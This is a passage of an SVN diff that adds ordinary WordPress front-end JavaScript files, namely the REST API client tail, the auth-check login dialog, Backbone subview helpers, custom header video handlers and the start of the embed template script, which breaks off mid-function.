+						// Function that returns a constructed url passed on the parent.
+						url: function() {
+							return routeModel.get( 'apiRoot' ) + routeModel.get( 'versionString' ) +
+									parentName + '/' + this.parent + '/' +
+									routeName;
+						},
+
+						// Specify the model that this collection contains.
+						model: function( attrs, options ) {
+							return new loadingObjects.models[ modelClassName ]( attrs, options );
+						},
+
+						// Track nonces at the Endpoint level.
+						nonce: function() {
+							return routeModel.get( 'nonce' );
+						},
+
+						endpointModel: routeModel,
+
+						// Include a reference to the original class name.
+						name: collectionClassName,
+
+						// Include a reference to the original route object.
+						route: collectionRoute,
+
+						// Include the array of route methods for easy reference.
+						methods: collectionRoute.route.methods
+					} );
+				} else {
+
+					// This is a collection without a parent in its route.
+					collectionClassName = wp.api.utils.capitalizeAndCamelCaseDashes( routeName );
+					modelClassName      = mapping.models[ collectionClassName ] || collectionClassName;
+					collectionClassName = mapping.collections[ collectionClassName ] || collectionClassName;
+					loadingObjects.collections[ collectionClassName ] = wp.api.WPApiBaseCollection.extend( {
+
+						// For the url of a root level collection, use a string.
+						url: function() {
+							return routeModel.get( 'apiRoot' ) + routeModel.get( 'versionString' ) + routeName;
+						},
+
+						// Specify the model that this collection contains.
+						model: function( attrs, options ) {
+							return new loadingObjects.models[ modelClassName ]( attrs, options );
+						},
+
+						// Track nonces at the Endpoint level.
+						nonce: function() {
+							return routeModel.get( 'nonce' );
+						},
+
+						endpointModel: routeModel,
+
+						// Include a reference to the original class name.
+						name: collectionClassName,
+
+						// Include a reference to the original route object.
+						route: collectionRoute,
+
+						// Include the array of route methods for easy reference.
+						methods: collectionRoute.route.methods
+					} );
+				}
+
+				// Add defaults to the new model, pulled form the endpoint.
+				wp.api.utils.decorateFromRoute( collectionRoute.route.endpoints, loadingObjects.collections[ collectionClassName ] );
+			} );
+
+			// Add mixins and helpers for each of the models.
+			_.each( loadingObjects.models, function( model, index ) {
+				loadingObjects.models[ index ] = wp.api.utils.addMixinsAndHelpers( model, index, loadingObjects );
+			} );
+
+			// Set the routeModel models and collections.
+			routeModel.set( 'models', loadingObjects.models );
+			routeModel.set( 'collections', loadingObjects.collections );
+
+		}
+
+	} );
+
+	wp.api.endpoints = new Backbone.Collection();
+
+	/**
+	 * Initialize the wp-api, optionally passing the API root.
+	 *
+	 * @param {object} [args]
+	 * @param {string} [args.nonce] The nonce. Optional, defaults to wpApiSettings.nonce.
+	 * @param {string} [args.apiRoot] The api root. Optional, defaults to wpApiSettings.root.
+	 * @param {string} [args.versionString] The version string. Optional, defaults to wpApiSettings.root.
+	 * @param {object} [args.schema] The schema. Optional, will be fetched from API if not provided.
+	 */
+	wp.api.init = function( args ) {
+		var endpoint, attributes = {}, deferred, promise;
+
+		args                      = args || {};
+		attributes.nonce          = _.isString( args.nonce ) ? args.nonce : ( wpApiSettings.nonce || '' );
+		attributes.apiRoot        = args.apiRoot || wpApiSettings.root || '/wp-json';
+		attributes.versionString  = args.versionString || wpApiSettings.versionString || 'wp/v2/';
+		attributes.schema         = args.schema || null;
+		attributes.modelEndpoints = args.modelEndpoints || [ 'me', 'settings' ];
+		if ( ! attributes.schema && attributes.apiRoot === wpApiSettings.root && attributes.versionString === wpApiSettings.versionString ) {
+			attributes.schema = wpApiSettings.schema;
+		}
+
+		if ( ! initializedDeferreds[ attributes.apiRoot + attributes.versionString ] ) {
+
+			// Look for an existing copy of this endpoint
+			endpoint = wp.api.endpoints.findWhere( { 'apiRoot': attributes.apiRoot, 'versionString': attributes.versionString } );
+			if ( ! endpoint ) {
+				endpoint = new Endpoint( attributes );
+			}
+			deferred = jQuery.Deferred();
+			promise = deferred.promise();
+
+			endpoint.schemaConstructed.done( function( resolvedEndpoint ) {
+				wp.api.endpoints.add( resolvedEndpoint );
+
+				// Map the default endpoints, extending any already present items (including Schema model).
+				wp.api.models      = _.extend( wp.api.models, resolvedEndpoint.get( 'models' ) );
+				wp.api.collections = _.extend( wp.api.collections, resolvedEndpoint.get( 'collections' ) );
+				deferred.resolve( resolvedEndpoint );
+			} );
+			initializedDeferreds[ attributes.apiRoot + attributes.versionString ] = promise;
+		}
+		return initializedDeferreds[ attributes.apiRoot + attributes.versionString ];
+	};
+
+	/**
+	 * Construct the default endpoints and add to an endpoints collection.
+	 */
+
+	// The wp.api.init function returns a promise that will resolve with the endpoint once it is ready.
+	wp.api.loadPromise = wp.api.init();
+
+} )();
Index: /tags/5.0.20/src/wp-includes/js/wp-auth-check.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wp-auth-check.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wp-auth-check.js	(revision 56912)
@@ -0,0 +1,117 @@
+/* global adminpage */
+// Interim login dialog
+(function($){
+	var wrap, next;
+
+	function show() {
+		var parent = $('#wp-auth-check'),
+			form = $('#wp-auth-check-form'),
+			noframe = wrap.find('.wp-auth-fallback-expired'),
+			frame, loaded = false;
+
+		if ( form.length ) {
+			// Add unload confirmation to counter (frame-busting) JS redirects
+			$(window).on( 'beforeunload.wp-auth-check', function(e) {
+				e.originalEvent.returnValue = window.authcheckL10n.beforeunload;
+			});
+
+			frame = $('<iframe id="wp-auth-check-frame" frameborder="0">').attr( 'title', noframe.text() );
+			frame.on( 'load', function() {
+				var height, body;
+
+				loaded = true;
+				// Remove the spinner to avoid unnecessary CPU/GPU usage.
+				form.removeClass( 'loading' );
+
+				try {
+					body = $(this).contents().find('body');
+					height = body.height();
+				} catch(e) {
+					wrap.addClass('fallback');
+					parent.css( 'max-height', '' );
+					form.remove();
+					noframe.focus();
+					return;
+				}
+
+				if ( height ) {
+					if ( body && body.hasClass('interim-login-success') )
+						hide();
+					else
+						parent.css( 'max-height', height + 40 + 'px' );
+				} else if ( ! body || ! body.length ) {
+					// Catch "silent" iframe origin exceptions in WebKit after another page is loaded in the iframe
+					wrap.addClass('fallback');
+					parent.css( 'max-height', '' );
+					form.remove();
+					noframe.focus();
+				}
+			}).attr( 'src', form.data('src') );
+
+			form.append( frame );
+		}
+
+		$( 'body' ).addClass( 'modal-open' );
+		wrap.removeClass('hidden');
+
+		if ( frame ) {
+			frame.focus();
+			// WebKit doesn't throw an error if the iframe fails to load because of "X-Frame-Options: DENY" header.
+			// Wait for 10 sec. and switch to the fallback text.
+			setTimeout( function() {
+				if ( ! loaded ) {
+					wrap.addClass('fallback');
+					form.remove();
+					noframe.focus();
+				}
+			}, 10000 );
+		} else {
+			noframe.focus();
+		}
+	}
+
+	function hide() {
+		$(window).off( 'beforeunload.wp-auth-check' );
+
+		// When on the Edit Post screen, speed up heartbeat after the user logs in to quickly refresh nonces
+		if ( typeof adminpage !== 'undefined' && ( adminpage === 'post-php' || adminpage === 'post-new-php' ) &&
+			typeof wp !== 'undefined' && wp.heartbeat ) {
+
+			$(document).off( 'heartbeat-tick.wp-auth-check' );
+			wp.heartbeat.connectNow();
+		}
+
+		wrap.fadeOut( 200, function() {
+			wrap.addClass('hidden').css('display', '');
+			$('#wp-auth-check-frame').remove();
+			$( 'body' ).removeClass( 'modal-open' );
+		});
+	}
+
+	function schedule() {
+		var interval = parseInt( window.authcheckL10n.interval, 10 ) || 180; // in seconds, default 3 min.
+		next = ( new Date() ).getTime() + ( interval * 1000 );
+	}
+
+	$( document ).on( 'heartbeat-tick.wp-auth-check', function( e, data ) {
+		if ( 'wp-auth-check' in data ) {
+			schedule();
+			if ( ! data['wp-auth-check'] && wrap.hasClass('hidden') ) {
+				show();
+			} else if ( data['wp-auth-check'] && ! wrap.hasClass('hidden') ) {
+				hide();
+			}
+		}
+	}).on( 'heartbeat-send.wp-auth-check', function( e, data ) {
+		if ( ( new Date() ).getTime() > next ) {
+			data['wp-auth-check'] = true;
+		}
+	}).ready( function() {
+		schedule();
+		wrap = $('#wp-auth-check-wrap');
+		wrap.find('.wp-auth-check-close').on( 'click', function() {
+			hide();
+		});
+	});
+
+}(jQuery));
Index: /tags/5.0.20/src/wp-includes/js/wp-backbone.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wp-backbone.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wp-backbone.js	(revision 56912)
@@ -0,0 +1,391 @@
+/** @namespace wp */
+window.wp = window.wp || {};
+
+(function ($) {
+	/**
+	 * Create the WordPress Backbone namespace.
+	 *
+	 * @namespace wp.Backbone
+	 */
+	wp.Backbone = {};
+
+
+	// wp.Backbone.Subviews
+	// --------------------
+	//
+	// A subview manager.
+	wp.Backbone.Subviews = function( view, views ) {
+		this.view = view;
+		this._views = _.isArray( views ) ? { '': views } : views || {};
+	};
+
+	wp.Backbone.Subviews.extend = Backbone.Model.extend;
+
+	_.extend( wp.Backbone.Subviews.prototype, {
+		// ### Fetch all of the subviews
+		//
+		// Returns an array of all subviews.
+		all: function() {
+			return _.flatten( _.values( this._views ) ); 
+		},
+
+		// ### Get a selector's subviews
+		//
+		// Fetches all subviews that match a given `selector`.
+		//
+		// If no `selector` is provided, it will grab all subviews attached
+		// to the view's root.
+		get: function( selector ) {
+			selector = selector || '';
+			return this._views[ selector ];
+		},
+
+		// ### Get a selector's first subview
+		//
+		// Fetches the first subview that matches a given `selector`.
+		//
+		// If no `selector` is provided, it will grab the first subview
+		// attached to the view's root.
+		//
+		// Useful when a selector only has one subview at a time.
+		first: function( selector ) {
+			var views = this.get( selector );
+			return views && views.length ? views[0] : null;
+		},
+
+		// ### Register subview(s)
+		//
+		// Registers any number of `views` to a `selector`.
+		//
+		// When no `selector` is provided, the root selector (the empty string)
+		// is used. `views` accepts a `Backbone.View` instance or an array of
+		// `Backbone.View` instances.
+		//
+		// ---
+		//
+		// Accepts an `options` object, which has a significant effect on the
+		// resulting behavior.
+		//
+		// `options.silent` &ndash; *boolean, `false`*
+		// > If `options.silent` is true, no DOM modifications will be made.
+		//
+		// `options.add` &ndash; *boolean, `false`*
+		// > Use `Views.add()` as a shortcut for setting `options.add` to true.
+		//
+		// > By default, the provided `views` will replace
+		// any existing views associated with the selector. If `options.add`
+		// is true, the provided `views` will be added to the existing views.
+		//
+		// `options.at` &ndash; *integer, `undefined`*
+		// > When adding, to insert `views` at a specific index, use
+		// `options.at`. By default, `views` are added to the end of the array.
+		set: function( selector, views, options ) {
+			var existing, next;
+
+			if ( ! _.isString( selector ) ) {
+				options  = views;
+				views    = selector;
+				selector = '';
+			}
+
+			options  = options || {};
+			views    = _.isArray( views ) ? views : [ views ];
+			existing = this.get( selector );
+			next     = views;
+
+			if ( existing ) {
+				if ( options.add ) {
+					if ( _.isUndefined( options.at ) ) {
+						next = existing.concat( views );
+					} else {
+						next = existing;
+						next.splice.apply( next, [ options.at, 0 ].concat( views ) );
+					}
+				} else {
+					_.each( next, function( view ) {
+						view.__detach = true;
+					});
+
+					_.each( existing, function( view ) {
+						if ( view.__detach )
+							view.$el.detach();
+						else
+							view.remove();
+					});
+
+					_.each( next, function( view ) {
+						delete view.__detach;
+					});
+				}
+			}
+
+			this._views[ selector ] = next;
+
+			_.each( views, function( subview ) {
+				var constructor = subview.Views || wp.Backbone.Subviews,
+					subviews = subview.views = subview.views || new constructor( subview );
+				subviews.parent   = this.view;
+				subviews.selector = selector;
+			}, this );
+
+			if ( ! options.silent )
+				this._attach( selector, views, _.extend({ ready: this._isReady() }, options ) );
+
+			return this;
+		},
+
+		// ### Add subview(s) to existing subviews
+		//
+		// An alias to `Views.set()`, which defaults `options.add` to true.
+		//
+		// Adds any number of `views` to a `selector`.
+		//
+		// When no `selector` is provided, the root selector (the empty string)
+		// is used. `views` accepts a `Backbone.View` instance or an array of
+		// `Backbone.View` instances.
+		//
+		// Use `Views.set()` when setting `options.add` to `false`.
+		//
+		// Accepts an `options` object. By default, provided `views` will be
+		// inserted at the end of the array of existing views. To insert
+		// `views` at a specific index, use `options.at`. If `options.silent`
+		// is true, no DOM modifications will be made.
+		//
+		// For more information on the `options` object, see `Views.set()`.
+		add: function( selector, views, options ) {
+			if ( ! _.isString( selector ) ) {
+				options  = views;
+				views    = selector;
+				selector = '';
+			}
+
+			return this.set( selector, views, _.extend({ add: true }, options ) );
+		},
+
+		// ### Stop tracking subviews
+		//
+		// Stops tracking `views` registered to a `selector`. If no `views` are
+		// set, then all of the `selector`'s subviews will be unregistered and
+		// removed.
+		//
+		// Accepts an `options` object. If `options.silent` is set, `remove`
+		// will *not* be triggered on the unregistered views.
+		unset: function( selector, views, options ) {
+			var existing;
+
+			if ( ! _.isString( selector ) ) {
+				options = views;
+				views = selector;
+				selector = '';
+			}
+
+			views = views || [];
+
+			if ( existing = this.get( selector ) ) {
+				views = _.isArray( views ) ? views : [ views ];
+				this._views[ selector ] = views.length ? _.difference( existing, views ) : [];
+			}
+
+			if ( ! options || ! options.silent )
+				_.invoke( views, 'remove' );
+
+			return this;
+		},
+
+		// ### Detach all subviews
+		//
+		// Detaches all subviews from the DOM.
+		//
+		// Helps to preserve all subview events when re-rendering the master
+		// view. Used in conjunction with `Views.render()`.
+		detach: function() {
+			$( _.pluck( this.all(), 'el' ) ).detach();
+			return this;
+		},
+
+		// ### Render all subviews
+		//
+		// Renders all subviews. Used in conjunction with `Views.detach()`.
+		render: function() {
+			var options = {
+					ready: this._isReady()
+				};
+
+			_.each( this._views, function( views, selector ) {
+				this._attach( selector, views, options );
+			}, this );
+
+			this.rendered = true;
+			return this;
+		},
+
+		// ### Remove all subviews
+		//
+		// Triggers the `remove()` method on all subviews. Detaches the master
+		// view from its parent. Resets the internals of the views manager.
+		//
+		// Accepts an `options` object. If `options.silent` is set, `unset`
+		// will *not* be triggered on the master view's parent.
+		remove: function( options ) {
+			if ( ! options || ! options.silent ) {
+				if ( this.parent && this.parent.views )
+					this.parent.views.unset( this.selector, this.view, { silent: true });
+				delete this.parent;
+				delete this.selector;
+			}
+
+			_.invoke( this.all(), 'remove' );
+			this._views = [];
+			return this;
+		},
+
+		// ### Replace a selector's subviews
+		//
+		// By default, sets the `$target` selector's html to the subview `els`.
+		//
+		// Can be overridden in subclasses.
+		replace: function( $target, els ) {
+			$target.html( els );
+			return this;
+		},
+
+		// ### Insert subviews into a selector
+		//
+		// By default, appends the subview `els` to the end of the `$target`
+		// selector. If `options.at` is set, inserts the subview `els` at the
+		// provided index.
+		//
+		// Can be overridden in subclasses.
+		insert: function( $target, els, options ) {
+			var at = options && options.at,
+				$children;
+
+			if ( _.isNumber( at ) && ($children = $target.children()).length > at )
+				$children.eq( at ).before( els );
+			else
+				$target.append( els );
+
+			return this;
+		},
+
+		// ### Trigger the ready event
+		//
+		// **Only use this method if you know what you're doing.**
+		// For performance reasons, this method does not check if the view is
+		// actually attached to the DOM. It's taking your word for it.
+		//
+		// Fires the ready event on the current view and all attached subviews.
+		ready: function() {
+			this.view.trigger('ready');
+
+			// Find all attached subviews, and call ready on them.
+			_.chain( this.all() ).map( function( view ) {
+				return view.views;
+			}).flatten().where({ attached: true }).invoke('ready');
+		},
+
+		// #### Internal. Attaches a series of views to a selector.
+		//
+		// Checks to see if a matching selector exists, renders the views,
+		// performs the proper DOM operation, and then checks if the view is
+		// attached to the document.
+		_attach: function( selector, views, options ) {
+			var $selector = selector ? this.view.$( selector ) : this.view.$el,
+				managers;
+
+			// Check if we found a location to attach the views.
+			if ( ! $selector.length )
+				return this;
+
+			managers = _.chain( views ).pluck('views').flatten().value();
+
+			// Render the views if necessary.
+			_.each( managers, function( manager ) {
+				if ( manager.rendered )
+					return;
+
+				manager.view.render();
+				manager.rendered = true;
+			}, this );
+
+			// Insert or replace the views.
+			this[ options.add ? 'insert' : 'replace' ]( $selector, _.pluck( views, 'el' ), options );
+
+			// Set attached and trigger ready if the current view is already
+			// attached to the DOM.
+			_.each( managers, function( manager ) {
+				manager.attached = true;
+
+				if ( options.ready )
+					manager.ready();
+			}, this );
+
+			return this;
+		},
+
+		// #### Internal. Checks if the current view is in the DOM.
+		_isReady: function() {
+			var node = this.view.el;
+			while ( node ) {
+				if ( node === document.body )
+					return true;
+				node = node.parentNode;
+			}
+
+			return false;
+		}
+	});
+
+
+	// wp.Backbone.View
+	// ----------------
+	//
+	// The base view class.
+	wp.Backbone.View = Backbone.View.extend({
+		// The constructor for the `Views` manager.
+		Subviews: wp.Backbone.Subviews,
+
+		constructor: function( options ) {
+			this.views = new this.Subviews( this, this.views );
+			this.on( 'ready', this.ready, this );
+
+			this.options = options || {};
+
+			Backbone.View.apply( this, arguments );
+		},
+
+		remove: function() {
+			var result = Backbone.View.prototype.remove.apply( this, arguments );
+
+			// Recursively remove child views.
+			if ( this.views )
+				this.views.remove();
+
+			return result;
+		},
+
+		render: function() {
+			var options;
+
+			if ( this.prepare )
+				options = this.prepare();
+
+			this.views.detach();
+
+			if ( this.template ) {
+				options = options || {};
+				this.trigger( 'prepare', options );
+				this.$el.html( this.template( options ) );
+			}
+
+			this.views.render();
+			return this;
+		},
+
+		prepare: function() {
+			return this.options;
+		},
+
+		ready: function() {}
+	});
+}(jQuery));
Index: /tags/5.0.20/src/wp-includes/js/wp-custom-header.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wp-custom-header.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wp-custom-header.js	(revision 56912)
@@ -0,0 +1,461 @@
+/* global YT */
+(function( window, settings ) {
+
+	var NativeHandler, YouTubeHandler;
+
+	/** @namespace wp */
+	window.wp = window.wp || {};
+
+	// Fail gracefully in unsupported browsers.
+	if ( ! ( 'addEventListener' in window ) ) {
+		return;
+	}
+
+	/**
+	 * Trigger an event.
+	 *
+	 * @param {Element} target HTML element to dispatch the event on.
+	 * @param {string} name Event name.
+	 */
+	function trigger( target, name ) {
+		var evt;
+
+		if ( 'function' === typeof window.Event ) {
+			evt = new Event( name );
+		} else {
+			evt = document.createEvent( 'Event' );
+			evt.initEvent( name, true, true );
+		}
+
+		target.dispatchEvent( evt );
+	}
+
+	/**
+	 * Create a custom header instance.
+	 *
+	 * @memberOf wp
+	 *
+	 * @class
+	 */
+	function CustomHeader() {
+		this.handlers = {
+			nativeVideo: new NativeHandler(),
+			youtube: new YouTubeHandler()
+		};
+	}
+
+	CustomHeader.prototype = {
+		/**
+		 * Initalize the custom header.
+		 *
+		 * If the environment supports video, loops through registered handlers
+		 * until one is found that can handle the video.
+		 */
+		initialize: function() {
+			if ( this.supportsVideo() ) {
+				for ( var id in this.handlers ) {
+					var handler = this.handlers[ id ];
+
+					if ( 'test' in handler && handler.test( settings ) ) {
+						this.activeHandler = handler.initialize.call( handler, settings );
+
+						// Dispatch custom event when the video is loaded.
+						trigger( document, 'wp-custom-header-video-loaded' );
+						break;
+					}
+				}
+			}
+		},
+
+		/**
+		 * Determines if the current environment supports video.
+		 *
+		 * Themes and plugins can override this method to change the criteria.
+		 *
+		 * @return {boolean}
+		 */
+		supportsVideo: function() {
+			// Don't load video on small screens. @todo: consider bandwidth and other factors.
+			if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
+				return false;
+			}
+
+			return true;
+		},
+
+		/**
+		 * Base handler for custom handlers to extend.
+		 *
+		 * @type {BaseHandler}
+		 */
+		BaseVideoHandler: BaseHandler
+	};
+
+	/**
+	 * Create a video handler instance.
+	 *
+	 * @memberOf wp
+	 *
+	 * @class
+	 */
+	function BaseHandler() {}
+
+	BaseHandler.prototype = {
+		/**
+		 * Initialize the video handler.
+		 *
+		 * @param {object} settings Video settings.
+		 */
+		initialize: function( settings ) {
+			var handler = this,
+				button = document.createElement( 'button' );
+
+			this.settings = settings;
+			this.container = document.getElementById( 'wp-custom-header' );
+			this.button = button;
+
+			button.setAttribute( 'type', 'button' );
+			button.setAttribute( 'id', 'wp-custom-header-video-button' );
+			button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
+			button.innerHTML = settings.l10n.play;
+
+			// Toggle video playback when the button is clicked.
+			button.addEventListener( 'click', function() {
+				if ( handler.isPaused() ) {
+					handler.play();
+				} else {
+					handler.pause();
+				}
+			});
+
+			// Update the button class and text when the video state changes.
+			this.container.addEventListener( 'play', function() {
+				button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
+				button.innerHTML = settings.l10n.pause;
+				if ( 'a11y' in window.wp ) {
+					window.wp.a11y.speak( settings.l10n.playSpeak);
+				}
+			});
+
+			this.container.addEventListener( 'pause', function() {
+				button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
+				button.innerHTML = settings.l10n.play;
+				if ( 'a11y' in window.wp ) {
+					window.wp.a11y.speak( settings.l10n.pauseSpeak);
+				}
+			});
+
+			this.ready();
+		},
+
+		/**
+		 * Ready method called after a handler is initialized.
+		 *
+		 * @abstract
+		 */
+		ready: function() {},
+
+		/**
+		 * Whether the video is paused.
+		 *
+		 * @abstract
+		 * @return {boolean}
+		 */
+		isPaused: function() {},
+
+		/**
+		 * Pause the video.
+		 *
+		 * @abstract
+		 */
+		pause: function() {},
+
+		/**
+		 * Play the video.
+		 *
+		 * @abstract
+		 */
+		play: function() {},
+
+		/**
+		 * Append a video node to the header container.
+		 *
+		 * @param {Element} node HTML element.
+		 */
+		setVideo: function( node ) {
+			var editShortcutNode,
+				editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );
+
+			if ( editShortcut.length ) {
+				editShortcutNode = this.container.removeChild( editShortcut[0] );
+			}
+
+			this.container.innerHTML = '';
+			this.container.appendChild( node );
+
+			if ( editShortcutNode ) {
+				this.container.appendChild( editShortcutNode );
+			}
+		},
+
+		/**
+		 * Show the video controls.
+		 *
+		 * Appends a play/pause button to header container.
+		 */
+		showControls: function() {
+			if ( ! this.container.contains( this.button ) ) {
+				this.container.appendChild( this.button );
+			}
+		},
+
+		/**
+		 * Whether the handler can process a video.
+		 *
+		 * @abstract
+		 * @param {object} settings Video settings.
+		 * @return {boolean}
+		 */
+		test: function() {
+			return false;
+		},
+
+		/**
+		 * Trigger an event on the header container.
+		 *
+		 * @param {string} name Event name.
+		 */
+		trigger: function( name ) {
+			trigger( this.container, name );
+		}
+	};
+
+	/**
+	 * Create a custom handler.
+	 *
+	 * @memberOf wp
+	 *
+	 * @param {object} protoProps Properties to apply to the prototype.
+	 * @return CustomHandler The subclass.
+	 */
+	BaseHandler.extend = function( protoProps ) {
+		var prop;
+
+		function CustomHandler() {
+			var result = BaseHandler.apply( this, arguments );
+			return result;
+		}
+
+		CustomHandler.prototype = Object.create( BaseHandler.prototype );
+		CustomHandler.prototype.constructor = CustomHandler;
+
+		for ( prop in protoProps ) {
+			CustomHandler.prototype[ prop ] = protoProps[ prop ];
+		}
+
+		return CustomHandler;
+	};
+
+	/**
+	 * Native video handler.
+	 *
+	 * @memberOf wp
+	 *
+	 * @class
+	 */
+	NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
+		/**
+		 * Whether the native handler supports a video.
+		 *
+		 * @param {object} settings Video settings.
+		 * @return {boolean}
+		 */
+		test: function( settings ) {
+			var video = document.createElement( 'video' );
+			return video.canPlayType( settings.mimeType );
+		},
+
+		/**
+		 * Set up a native video element.
+		 */
+		ready: function() {
+			var handler = this,
+				video = document.createElement( 'video' );
+
+			video.id = 'wp-custom-header-video';
+			video.autoplay = 'autoplay';
+			video.loop = 'loop';
+			video.muted = 'muted';
+			video.width = this.settings.width;
+			video.height = this.settings.height;
+
+			video.addEventListener( 'play', function() {
+				handler.trigger( 'play' );
+			});
+
+			video.addEventListener( 'pause', function() {
+				handler.trigger( 'pause' );
+			});
+
+			video.addEventListener( 'canplay', function() {
+				handler.showControls();
+			});
+
+			this.video = video;
+			handler.setVideo( video );
+			video.src = this.settings.videoUrl;
+		},
+
+		/**
+		 * Whether the video is paused.
+		 *
+		 * @return {boolean}
+		 */
+		isPaused: function() {
+			return this.video.paused;
+		},
+
+		/**
+		 * Pause the video.
+		 */
+		pause: function() {
+			this.video.pause();
+		},
+
+		/**
+		 * Play the video.
+		 */
+		play: function() {
+			this.video.play();
+		}
+	});
+
+	/**
+	 * YouTube video handler.
+	 *
+	 * @memberOf wp
+	 *
+	 * @class wp.YouTubeHandler
+	 */
+	YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
+		/**
+		 * Whether the handler supports a video.
+		 *
+		 * @param {object} settings Video settings.
+		 * @return {boolean}
+		 */
+		test: function( settings ) {
+			return 'video/x-youtube' === settings.mimeType;
+		},
+
+		/**
+		 * Set up a YouTube iframe.
+		 *
+		 * Loads the YouTube IFrame API if the 'YT' global doesn't exist.
+		 */
+		ready: function() {
+			var handler = this;
+
+			if ( 'YT' in window ) {
+				YT.ready( handler.loadVideo.bind( handler ) );
+			} else {
+				var tag = document.createElement( 'script' );
+				tag.src = 'https://www.youtube.com/iframe_api';
+				tag.onload = function () {
+					YT.ready( handler.loadVideo.bind( handler ) );
+				};
+
+				document.getElementsByTagName( 'head' )[0].appendChild( tag );
+			}
+		},
+
+		/**
+		 * Load a YouTube video.
+		 */
+		loadVideo: function() {
+			var handler = this,
+				video = document.createElement( 'div' ),
+				// @link http://stackoverflow.com/a/27728417
+				VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;
+
+			video.id = 'wp-custom-header-video';
+			handler.setVideo( video );
+
+			handler.player = new YT.Player( video, {
+				height: this.settings.height,
+				width: this.settings.width,
+				videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
+				events: {
+					onReady: function( e ) {
+						e.target.mute();
+						handler.showControls();
+					},
+					onStateChange: function( e ) {
+						if ( YT.PlayerState.PLAYING === e.data ) {
+							handler.trigger( 'play' );
+						} else if ( YT.PlayerState.PAUSED === e.data ) {
+							handler.trigger( 'pause' );
+						} else if ( YT.PlayerState.ENDED === e.data ) {
+							e.target.playVideo();
+						}
+					}
+				},
+				playerVars: {
+					autoplay: 1,
+					controls: 0,
+					disablekb: 1,
+					fs: 0,
+					iv_load_policy: 3,
+					loop: 1,
+					modestbranding: 1,
+					playsinline: 1,
+					rel: 0,
+					showinfo: 0
+				}
+			});
+		},
+
+		/**
+		 * Whether the video is paused.
+		 *
+		 * @return {boolean}
+		 */
+		isPaused: function() {
+			return YT.PlayerState.PAUSED === this.player.getPlayerState();
+		},
+
+		/**
+		 * Pause the video.
+		 */
+		pause: function() {
+			this.player.pauseVideo();
+		},
+
+		/**
+		 * Play the video.
+		 */
+		play: function() {
+			this.player.playVideo();
+		}
+	});
+
+	// Initialize the custom header when the DOM is ready.
+	window.wp.customHeader = new CustomHeader();
+	document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );
+
+	// Selective refresh support in the Customizer.
+	if ( 'customize' in window.wp ) {
+		window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
+			if ( 'custom_header_settings' in response ) {
+				settings = response.custom_header_settings;
+			}
+		});
+
+		window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
+			if ( 'custom_header' === placement.partial.id ) {
+				window.wp.customHeader.initialize();
+			}
+		});
+	}
+
+})( window, window._wpCustomHeaderSettings || {} );
Index: /tags/5.0.20/src/wp-includes/js/wp-embed-template.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/wp-embed-template.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/wp-embed-template.js	(revision 56912)
@@ -0,0 +1,212 @@
+(function ( window, document ) {
+	'use strict';
+
+	var supportedBrowser = ( document.querySelector && window.addEventListener ),
+		loaded = false,
+		secret,
+		secretTimeout,
+		resizing;
+
+	function sendEmbedMessage( message, value ) {
+		window.parent.postMessage( {
+			message: message,
+			value: value,
+			secret: secret
+		}, '*' );
+	}
+
+	function onLoad() {
+		if ( loaded ) {
+			return;
+		}
+		loaded = true;
+
+		var share_dialog = document.querySelector( '.wp-embed-share-dialog' ),
+			share_dialog_open = document.querySelector( '.wp-embed-share-dialog-open' ),
+			share_dialog_close = document.querySelector( '.wp-embed-share-dialog-close' ),
+			share_input = document.querySelectorAll( '.wp-embed-share-input' ),
+			share_dialog_tabs = document.querySelectorAll( '.wp-embed-share-tab-button button' ),
+			featured_image = document.querySelector( '.wp-embed-featured-image img' ),
+			i;
+
+		if ( share_input ) {
+			for ( i = 0; i < share_input.length; i++ ) {
+				share_input[ i ].addEventListener( 'click', function ( e ) {
+					e.target.select();
+				} );
+			}
+		}
+
+		function openSharingDialog() {
+			share_dialog.className = share_dialog.className.replace( 'hidden', '' );
+			// Initial focus should go on the currently selected tab in the dialog.
+			document.querySelector( '.wp-embed-share-tab-button [aria-selected="true"]' ).focus();
+		}
+
+		function closeSharingDialog() {
+			share_dialog.className += ' hidden';
+			document.querySelector( '.wp-embed-share-dialog-open' ).focus();
+		}
+
+		if ( share_dialog_open ) {
+			share_dialog_open.addEventListener( 'click', function () {
+				openSharingDialog();
+			} );
+		}
+
+		if ( share_dialog_close ) {
+			share_dialog_close.addEventListener( 'click', function () {
+				closeSharingDialog();
+			} );
+		}
+
+		function shareClickHandler( e ) {
+			var currentTab = document.querySelector( '.wp-embed-share-tab-button [aria-selected="true"]' );
+			currentTab.setAttribute( 'aria-selected', 'false' );
+			document.querySelector( '#' + currentTab.getAttribute( 'aria-controls' ) ).setAttribute( 'aria-hidden', 'true' );
+
+			e.target.setAttribute( 'aria-selected', 'true' );
+			document.querySelector( '#' + e.target.getAttribute( 'aria-controls' ) ).setAttribute( 'aria-hidden', 'false' );
+		}
+
+		function shareKeyHandler( e ) {
+			var target = e.target,
+				previousSibling = target.parentElement.previousElementSibling,
+				nextSibling = target.parentElement.nextElementSibling,
+				newTab, newTabChild;
+
+			if ( 37 === e.keyCode ) {
+				newTab = previousSibling;
+			} else if ( 39 === e.keyCode ) {
+				newTab = nextSibling;
+			} else {
+				return false;
+			}
+
